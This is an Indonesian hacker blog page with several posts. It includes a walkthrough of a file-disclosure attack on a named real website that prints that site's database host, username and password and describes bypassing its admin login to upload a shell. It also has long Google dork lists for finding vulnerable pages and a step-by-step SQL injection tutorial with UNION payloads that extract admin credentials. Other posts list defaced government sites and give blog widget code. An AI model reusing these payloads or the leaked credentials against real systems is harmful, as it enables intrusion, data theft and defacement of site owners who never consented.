exploit Bug LFD | profesor aka ZGoM91
=================
Step 1
=================
Langsng masukan dork= inurl:download.php?file= dan tara buanyak . . .
Lalu saya coba satu persatu dan saya nemu situs yg mempunyai kelemahan bug (LFD)
http://pharmacos.in/download.php?file=sempak.pdflalu saya ganti url belakang sempak.pdf dengan download.php jd gini
http://pharmacos.in/download.php?file=download.Phpdan langsng saya download source dari download.php untuk mengetahui kenapa bisa tercipta Bug (LFD)
<?phpheader('Content-type: application/octet-stream');header('Content-Length: ' . filesize($_REQUEST['file']));header('Content-Disposition: attachment; filename="'.basename($_REQUEST['file']).'"');readfile($_REQUEST['file']);?>nah dr kode tersbt si webmaster tdk memvalidasi shingga sang attcker bisa download file2 gntng..
=================
Step 2
=================
Setelah saya coba cari login admin panel akhirnya ketemu jga example :
http://sempak.in/admin/index.phplangsung gpl tak dunlud source'n http://sempak.in/download.php?file=admin/index.php sukses 100% dan tara include_once("../connection.php"); sebenarnya mash ada lg yg ingin saya tunjukan tp sblm'na saya penasaran ama ../connection.php lngsung
http://sempak.in/download.php?file=connection.phpsuskses bongkar
<?php /*$con=mysql_connect("localhost","root","");mysql_select_db("pharmacos",$con);*/$con=mysql_connect("67.228.4.124:3306","viraljain0","MERCURY");mysql_select_db("pharmacos",$con);?>wew ternyata isinya data login mysql yes. . lanjut. . .
=================
Step 3
=================
Eeettt hampir lupa tadi Q Blm selsai bongkar /admin/index.php sapa tau ada petunjuk yg lbh penting:D
session_start();$username=$_POST['username'];$password=$_POST['password'];$log=mysql_query("select * from admin_login where admin_name='$username' AND admin_password='$password'");$numsel=mysql_num_rows($log);if($numsel==1){$_SESSION['aname']=$username;?><script>location.href="adminmenu.php";</script><?php }else{?><script>alert("Please Insert Correct Information");location.href="#";</script><?php }dan benar brow isinya sesuatu perhatikn seksama
[red]$numsel=mysql_num_rows($log);if($numsel==1){$_SESSION['aname']=$username; ?><script>location.href="adminmenu.phpnah logikanya gini kita di suruh login dan data login di sambung ke mysql, jika memang data login benar di mysql maka kita akan di kirim ke http://sempak.in/admin/adminmenu.php tp kayake ada yg janggal ngapain kita login2 segala mendng lngsng aja http://sempak.in/admin/adminmenu.php wew. . Hehehe sukses masbrow MANCING MANIA MANTAP . . . ! Langsung deh si ganteng tiada tara masuk admin panel'e trs upload shell image,hehehe Josss. . . !
by me (profesor aka ZGoM91)
Diposting oleh AnoN|03 di 23.24 0 komentar
Situs AVG Argentina di hack oleh hacker Indonesia
wew.,., dari pada ane bingung mo posting apa,, mending ane abadikan jha nie berita yang ane dapet infonya dari grup sebelah di blog ane =)) . Antivirus AVG, pasti kk..kk kenal dengan antivirus interlocal yang satu ini. Situs Antivrus AVG di Argentina di hack, oleh hacker indonesia. Hakcer dengan nick name Hmei7 ini mencoba melakukan tes security pada situs tersebut dan ternyata berhasil.
Diposting oleh AnoN|03 di 22.42 0 komentar
Surat untuk Presiden
“Assalamualaikum.wr.wb bapak presiden yang terhormat saya kelas 4 SD di jawa tengah mau bilang tolong dong harga BBM jangan di naikkan, kasihan orangtua saya hanya bekerja sebagai seorang satpam yang gajinya cukup untuk makan sehari-hari saja, kalau BBM naik saya takut nanti biaya sekolah semakin mahal dan saya tidak bisa meneruskan sekolah ke jenjang yang lebih tinggi, tolong ya pak dipertimbangkan kembali. terimakasih. Wassalamualaikum.wr.wb.”
Diposting oleh AnoN|03 di 08.09 0 komentar
Hacker Anonymous Ancam Akan Matikan Jaringan Internet Tanggal 31 Maret Besok
Diposting oleh AnoN|03 di 17.30 0 komentar
Manifesto Hacker | .luca-mercatanti.com
Diposting oleh AnoN|03 di 16.02 0 komentar
The Mentor Manifesto
Ini adalah dunia kami sekarang, dunianya elektron dan switch, keindahan sebuah baud. Kami
Diposting oleh AnoN|03 di 15.00 0 komentar
BINUS HACKER MANIFESTO

Hacker adalah sebutan untuk mereka yang menggunakan keahliannya dalam hal komputer untuk melihat, menemukan dan memperbaiki kelemahan sistem keamanan dalam sebuah sistem komputer ataupun dalam sebuah software. Hasil pekerjaan mereka biasanya dipublikasikan secara luas dengan harapan sistem atau software yang didapati memiliki kelemahan dalam hal keamanan dapat disempurnakan di masa yang akan datang.
Diposting oleh AnoN|03 di 14.57 0 komentar
Situs Partai Demokrat Gorontalo di hack ,
Mengatas namakan Hak Rakyat Indonesia, salah satu hacker dengan nick name ENno Lakoro mencoba untuk mengapresiasikan keluhan rakyat kecil, yang merasa Haknya di renggut oleh para Penguasa. tidak tanggung-tanggung, situs Partai Demokrat Gorontalo ia deface. dalam situs yang ia deface tersebut, terpampang jelas pesan yang ia sampaikan. Bahwa ia benar-benar memperdulikan Hak Rakyat. berikut pesan yang ia sampaikan :
“01 April 2012?
Ingatlah dalam sejarah hidupmu, bahwa pada tanggal itu “penguasa” bangsa ini akan merampas hak rakyat kecil dengan menaikan harga BBM,
yang membuat mereka kelimpunga, terhimpit beban ekonomi yang kian berat.
Ingatlah, bahwa tanggal itu di bangsa ini sedang diproklamirkan “kemerdekaan” ekonomi kapatilisme dan neoimprealisme Barat yang merongrong “demokrasi ekonomi” nasional
yang pro rakyat kecil.
Tidak kata lain untuk, “LAWAN PENZALIMAN PENGUASA TERHADAP RAKYAT KECIL…!”
Satu PUISI yang kamu tulis di FB, Blog, Twitter, SMS dan media jejaring sosial lainnya lebih panas dan pedasnya dibandingkan dengan lemparan batu atau molotov.
Lawan kenaikan BBM dengan PUISI…!
Hari-hari menjelang 01 April… adalah LAWAN, LAWAN dan LAWAN penguasa yang tanpa hati nurani…!
contact me : xCrootZ@gma _
Mirror : http://demokrat.gorontalo.web.id/
Diposting oleh AnoN|03 di 13.22 0 komentar
Bąribųťz ḨuǸť RiFƫ beraksi tolak kenaikan BBM
Memang hebat hacker yang satu ini, langsung aja y simak situs-situs yg kk Bąribųťz ḨuǸť RiFƫ deface,
http://sanggau.go.id/
http://www.saburaijuakab.go.id/
http://payakumbuhkota.go.id/
http://perpustakaan.pa-slemankab.go.id/
http://pa-slemankab.go.id/
http://pa-sambas.go.id/
http://bempoltesa.com/
http://pykbarat.payakumbuhkota.go.id/
http://pyktimur.payakumbuhkota.go.id/
http://latina.payakumbuhkota.go.id/
http://pykutara.payakumbuhkota.go.id/
http://rahmi.payakumbuhkota.go.id/
http://kpu.payakumbuhkota.go.id/
http://mifpoltesa.net/
http://kppt.payakumbuhkota.go.id/
http://dprd.payakumbuhkota.go.id/
http://dppka.payakumbuhkota.go.id/
http://ver2.pa-slemankab.go.id/
http://disdukcapil.payakumbuhkota.go.id/
http://adminemail.payakumbuhkota.go.id/
http://arda.sanggau.go.id/
http://bappeda.sanggau.go.id/
http://bawasda.sanggau.go.id/
http://bkd.sanggau.go.id/
http://bpkkd.sanggau.go.id/
http://blhkpk.sanggau.go.id/
http://camat.sanggau.go.id/
http://kependudukan.sanggau.go.id/
http://dprd.sanggau.go.id/
http://polpaja.sanggau.go.id/
http://setda.sanggau.go.id/
http://kupangkab.go.id/
http://www.nttprov.go.id/
http://kab-kupang.go.id/
http://provntt.nttprov.go.id/
http://forumlpsentt.nttprov.go.id/
http://distanbun.nttprov.go.id/
http://biroup.nttprov.go.id/
http://bkpmd.nttprov.go.id/
http://bkpm.nttprov.go.id/
http://arsipdaerah.nttprov.go.id/
http://kpde.kab-kupang.go.id/
http://kupang2010.kab-kupang.go.id/
http://newreal.kab-kupang.go.id/
http://englishweb.kab-kupang.go.id/
http://newkab.kab-kupang.go.id/
http://disbudpar.kab-kupang.go.id/
http://dprd.kab-kupang.go.id/
miror : http://gorontalo-defacer.org/profil/56/
Diposting oleh AnoN|03 di 08.31 0 komentar
Tolak BBM naik, Situs pemerintah di Hack
Baru aja ane posting tentang penolakan BBM terhadap salah satu hacker favorit ane Bąribųťz ḨuǸť RiFƫ, para mas[TER] yang lain juga gak mau kalah dengan kk Bąribųťz ḨuǸť RiFƫ kali ini situs ptun-surabaya di deface oleh Hacker dengan nick name Cbs Newbie Kng'crew berikut sitenya http://ptun-surabaya.go.id/x.htm meskipun cuman satu site, tapi wow,,, amazing... pesan yang di tinggal dari hacker satu ini adalah :
CBS FEAT J0K3R_R3TURNNEGARA INI BUKAN PUNYA BAPAK SAMA MAK LO DANJOKMENAIKAN BBM SAMA DENGAN MEMBUNUH RAKYATWE ARE : Minang Cyber | Kng Crew |Indramayu Cyber| Salmin | The Day minangCyber | raptorc0der | b3gund4L | Zuand Binjay | Uni Sri Heker | Kaito Aka_tsutki | Soulsick | Dyaz Mati Rasa & You :P
salam dari newbie kk' ,, ^_^,,--
Diposting oleh AnoN|03 di 08.02 0 komentar
BBM naik , Hacker bertindak
http://www.nttprov.go.id/
http://kab-kupang.go.id/
http://provntt.nttprov.go.id/
http://
http://
http://biroup.nttprov.go.id/
http://bkpmd.nttprov.go.id/
http://bkpm.nttprov.go.id/
http://
http://kpde.kab-kupang.go.id/
http://
http://
http://
http://
http://
http://dprd.kab-kupang.go.id/
Diposting oleh AnoN|03 di 07.43 0 komentar
GMJ, 2 Juta Aktivis dari 80 Negara Siap Masuk Al Quds
“Para delegasi internasional sudah berangkat dari negeri mereka masing-masing menuju negara-negara tersebut untuk ikut dalam GMJ yang akan diberangkatkan dari sana bertepatan dengan hari bumi Palestina yang jatuh pada tanggal 30 Maret," kata Halum.
Selain jumlah peserta yang mencapai dua juta, aksi internasional menentang yahudisasi Israel atas Jerusalem (Al Quds) itu juga diikuti sejumlah tokoh internasional dan tokoh non muslim.
“Para tokoh penting internasional akan ikut dalam pawai ini. Di antara mereka ada empat rabi Amerika dari kalangan Yahudi yang menentang pendudukan Israel dan menolak negara Israel. Mereka menentang keberadaan kuil yang diklaim Yahudi di kota al Quds, secara prinsip menolak keyahudian Palestina dan meyakini bahwa Palestina secara historis adalah milik orang-orang Palestina yang menjadi pemilik tanah,” tambah Halum.
“Pawai ini bertujuan untuk menyampaikan pesan jelas kepada penjajah Israel bahwa isu Palestina adalah isu umat dan seluruh dunia,” ujar pria yang berharap pawai ini menjadi titik tolak yang terang untuk mengembalikan isu Palestina sebagai isu sentral umat
Sementara itu, panitia Global March to Jerusalem (GMJ) sendiri sudah menyelesaikan persiapan teknis dan media untuk launching GMJ pada hari Jum’at (30/3) mendatang. [IK/IP
Diposting oleh AnoN|03 di 23.26 0 komentar
Membuat effect Zoom Image pada Postingan
Karena banyak yang tanya, bagaimana cara nya membuat Zoom Image pada setiap postingan kyk beginian nie,
yang berwarna merah, itu ukuran zoom imagenya. bisa diganti sesuai dengan keinginan kk,.post img, table.tr-caption-container {border:none;max-width:560px;height:auto;-o-transition: all 0.5s;-moz-transition: all 0.5s;-webkit-transition: all 0.5s;}.post img:hover {-o-transition: all 0.3s;-moz-transition: all 0.3s;-webkit-transition: all 0.3s;-moz-transform: scale(1.5);-o-transform: scale(1.5);-webkit-transform: scale(1.5);-webkit-border-radius: 36px 12px;-moz-border-radius: 36px / 12px;-webkit-box-shadow: 2px 2px 6px rgba(0,0,0,0.6);}
Diposting oleh AnoN|03 di 22.56 0 komentar
Efek Tulisan pada Kursor
Kali ini ane akan berbagi cara memberikan efek tulisan pada kursor. efek tulisan yang dimaksud, itu efek seperti kursor pada blog ane. langsung aja y.. nie ane kasih sourcenya, tinggal copas jha, naronya di tambah gadget~html/javascript y,,
semoga bermanfaat !!!! salam dari newbie kk.. ^_^,,--
<script language="javascript">var text='./ Welcome to my blog :: AnoN|03 ~~~~~~~~';var delay=5;var Xoff=0;var Yoff=-30;var txtw=10;var beghtml='<font color="#FF0000"><b>';var endhtml='</b></font>';ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true : false;ie4 = (document.all && !document.getElementById)? true : false;ie5 = (document.all && document.getElementById)? true : false;ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;var txtA=new Array();text=text.split('');var x1=0;var y1=-50;var t='';for(i=1;i<=text.length;i++){t+=(ns4)? '<layer left="0" top="-100" width="'+txtw+'" name="txt'+i+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';t+=beghtml+text[i-1]+endhtml;t+=(ns4)? '</layer>' : '</div>';}document.write(t);function moveid(id,x,y){if(ns4)id.moveTo(x,y);else{id.style.left=x+'px';id.style.top=y+'px';}}function animate(evt){x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);}function getidleft(id){if(ns4)return id.left;else return parseInt(id.style.left);}function getidtop(id){if(ns4)return id.top;else return parseInt(id.style.top);}function getwindowwidth(){if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;else return window.innerWidth+pageXOffset;}function movetxts(){for(i=text.length;i>1;i=i-1){if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){moveid(txtA[i-1],0,-100);moveid(txtA[i],0,-100);}else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));}moveid(txtA[1],x1,y1);}window.onload=function(){for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);if(ns4)document.captureEvents(Event.MOUSEMOVE);document.onmousemove=animate;setInterval('movetxts()',delay);}</script>
Diposting oleh AnoN|03 di 22.15 2 komentar
Beberapa Gadget Blogspot
Di sini ane akan bagi gadget2 blog yang ane pke di blog ane . meskipun gak seberapa menarik, tapi semoga jha bermanfaat deh,
salam Kenal dari newbie kk,, ^_^
Diposting oleh AnoN|03 di 19.00 0 komentar
Membuat Redmore Otomatis di Blogger
1. Login ke Blog anda
2. Buka halaman design > Edit HTML > centang Expand template widget
3. Cari kode </head> gunakan CTRL + F untuk mempermudah pencarian
4. Paste kode berikut tepat dibawah </head>
<script type='text/javascript'> var thumbnail_mode = "no-float" ; summary_noimg = 430; summary_img = 340; img_thumb_height = 100; img_thumb_width = 120; </script> <script src='http://script-bamz-us.googlecode.com/files/read-moreotomatis.js' type='text/javascript'/>Selanjutnya cari kode <data:post.body/> atau <p><data:post.body/></p> ( seperti biasan gunakan CTRL + F untuk mempermudah pencarian. Jika ditemukan 2 kode yang sama, gunakan atau ganti yang pertama.
Jika sudah ketemu silahkan anda ganti kode tersebut dengan kode dibawah ini:
<b:if cond='data:blog.pageType != "item"'>
<div expr:id='"summary" + data:post.id'><data:post.body/></div>
<script type='text/javascript'>createSummaryAndThumb("summary<data:post.id/>");
</script>
<span class='rmlink' style='float:right;padding-top:20px;'>
<a expr:href='data:post.url'><img src="http://lh3.ggpht.com/_kTaFrEr_318/SkKGIoU-oPI/AAAAAAAAA9g/5A_nTHvFgiI/readmore_thumb%5B2%5D.gif"></img></a></span>
</b:if>
<b:if cond='data:blog.pageType == "item"'><data:post.body/></b:if>
Diposting oleh AnoN|03 di 18.53 1 komentar
Google Dork Part III
general.php?include=
start.php?addr=
index1.php?qry=
index1.php?loc=
page.php?addr=
index1.php?dir=
principal.php?pr=
press.php?seite=
head.php?cmd=
home.php?sec=
home.php?category=
standard.php?cmd=
mod*.php?thispage=
base.php?to=
view.php?choix=
base.php?panel=
template.php?mod=
info.php?j=
blank.php?pref=
sub*.php?channel=
standard.php?in=
general.php?cmd=
pagina.php?panel=
template.php?where=
path.php?channel=
gery.php?seccion=
page.php?tipo=
sitio.php?rub=
pagina.php?u=
file.php?ir=
*inc*.php?sivu=
path.php?start=
page.php?chapter=
home.php?recipe=
enter.php?pname=
layout.php?path=
print.php?open=
mod*.php?channel=
down*.php?phpbb_root_path=
*inc*.php?str=
gery.php?phpbb_root_path=
include.php?middlePart=
sub*.php?destino=
info.php?read=
home.php?sp=
main.php?strona=
sitio.php?get=
sitio.php?index=
index3.php?option=
enter.php?a=
main.php?second=
print.php?pname=
blank.php?itemnav=
blank.php?pagina=
index1.php?d=
down*.php?where=
*inc*.php?include=
path.php?pre=
home.php?loader=
start.php?eval=
index.php?disp=
head.php?mod=
sitio.php?section=
nota.php?doshow=
home.php?seite=
home.php?a=
page.php?url=
pagina.php?left=
layout.php?c=
principal.php?goto=
standard.php?base_dir=
home.php?where=
page.php?sivu=
*inc*.php?adresa=
padrao.php?str=
include.php?my=
show.php?home=
index.php?load=
index3.php?rub=
sub*.php?str=
start.php?index=
nota.php?mod=
sub*.php?mid=
index1.php?*[*]*=
pagina.php?oldal=
padrao.php?loc=
padrao.php?rub=
page.php?incl=
gery.php?disp=
nota.php?oldal=
include.php?u=
principal.php?pagina=
print.php?choix=
head.php?filepath=
include.php?corpo=
sub*.php?action=
head.php?pname=
press.php?dir=
show.php?xlink=
file.php?left=
nota.php?destino=
general.php?module=
index3.php?redirect=
down*.php?param=
default.php?ki=
padrao.php?h=
padrao.php?read=
mod*.php?cont=
index1.php?l=
down*.php?pr=
gery.php?viewpage=
template.php?load=
nota.php?pr=
padrao.php?destino=
index2.php?channel=
principal.php?opcion=
start.php?str=
press.php?*[*]*=
index.php?ev=
pagina.php?pre=
nota.php?content=
include.php?adresa=
sitio.php?t=
Diposting oleh AnoN|03 di 11.52 0 komentar
Google Dork Part II
shredder-categories.php?id=
tradeCategory.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
readnews.php?id=
newsone.php?id=
product-item.php?id=
pages.php?id=
clanek.php4?id=
viewapp.php?id=
viewphoto.php?id=
galeri_info.php?l=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
story.php?id=
look.php?ID=
aboutbook.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: is_writable()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: require()
buy.php?category=
pageid=
page.php?file=
show.php?id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
reagir.php?num=
Stray-Questions-View.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
sql.php?id=
select_biblio.php?id=
ogl_inet.php?ogl_id=
fiche_spectacle.php?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
loadpsb.php?id=
announce.php?id=
participant.php?id=
download.php?id=
article.php?id=
person.php?id=
productinfo.php?id=
showimg.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
index.php?=
profile_view.php?id=
category.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
collectionitem.php?id=
band_info.php?id=
product.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
tradeCategory.php?id=
transcript.php?id=
item_id=
news-full.php?id=
aboutbook.php?id=
preview.php?id=
material.php?id=
read.php?id=
viewapp.php?id=
story.php?id=
newsone.php?id=
rubp.php?idr=
art.php?idm=
title.php?id=
index1.php?modo=
include.php?*[*]*=
nota.php?pollname=
index3.php?p=
padrao.php?pre=
home.php?pa=
main.php?type=
sitio.php?start=
*.php?include=
general.php?xlink=
show.php?go=
nota.php?ki=
down*.php?oldal=
layout.php?disp=
enter.php?chapter=
base.php?incl=
enter.php?mod=
show.php?corpo=
head.php?*[*]*=
info.php?strona=
template.php?str=
main.php?doshow=
view.php?*[*]*=
index.php?to=
page.php?cmd=
view.php?b=
info.php?option=
show.php?x=
template.php?texto=
index3.php?ir=
print.php?chapter=
file.php?inc=
file.php?cont=
view.php?cmd=
include.php?chapter=
path.php?my=
principal.php?param=
general.php?menue=
index1.php?b=
info.php?chapter=
nota.php?chapter=
Diposting oleh AnoN|03 di 11.52 0 komentar
Siapa Anonymous
Sumber : Berita-terbaru.com
Diposting oleh AnoN|03 di 11.35 0 komentar
Google Dork Part I
Pasotingan kali ini, ane akan berbagi dork2 google yang ane dapet dari beberapa sumber, bagi yang belum tau apa itu google dork dan bagaimana cara menggunakannya bisa klik di sini
Diposting oleh AnoN|03 di 09.40 0 komentar
Google Dork
Google dork adalah kata kunci dalam mempermudah pencarian data pada google, dimana kata kunci inilah yang membantu banyak sekali Hacker/cracker/security dalam mencari data yang akurat maupun data data yang tersembunyi seperti log, username maupun password. selain itu google dork adalah kata kunci yang digunakan untuk melakukan pencarian akurat terhadapap informasi yang akan di cari. misalkan untuk mencari software, file pdf, dll.
berikut ini adalah contohnya :
"site:"
Google akan membatasi pencarian dan hasilnya berdasarkan site/web yang dituju
contoh : site:google.com facebook, maka akan mencari semua facebook di situs google.com
"allintitle:"
Google melakukan pencarian pada semua Judul
contoh : allintitle:face book, maka akan mencari semua judul face dan semua judul book
"intitle:"
Google melakukan pencarian pada semua Judul lebih spesifik
contoh : intitle:face book, maka akan mencari semua judul face yang ada book nya
"allinurl:"
google akan melakukan pencarian pada URL yang di cari
contoh : allinurl:face book, maka akan mencari semua url face dan semua url book
"inurl:"
Google akan melakukan pencarian Pada URL lebih spesifik
contoh : inurl:face book , maka akan mencari site face yang ada url book nya
site:*.com inurl:config.php dbuname dbpass (admin)
Sumber : "google.com"
Diposting oleh AnoN|03 di 09.35 0 komentar
SQL Injection | Alice norin
Pagi yang cerah ini, ane akan bagi tutor dari sohib ane " Alice Norin " , kebetulan, ane belajar Sql injection juga pke tutor ini, semoga bermanfaat kk'
Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
[+]step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100
sehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
[+]step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
[+]step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek
versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
============
[+]step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"
===========
[+]step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
=============
[+] step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://home.paulschou.net/tools/xlate/
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
==============
[+] step Delapan:=
==============
tahap terakhir mencari halam admin atau login
Diposting oleh AnoN|03 di 08.42 0 komentar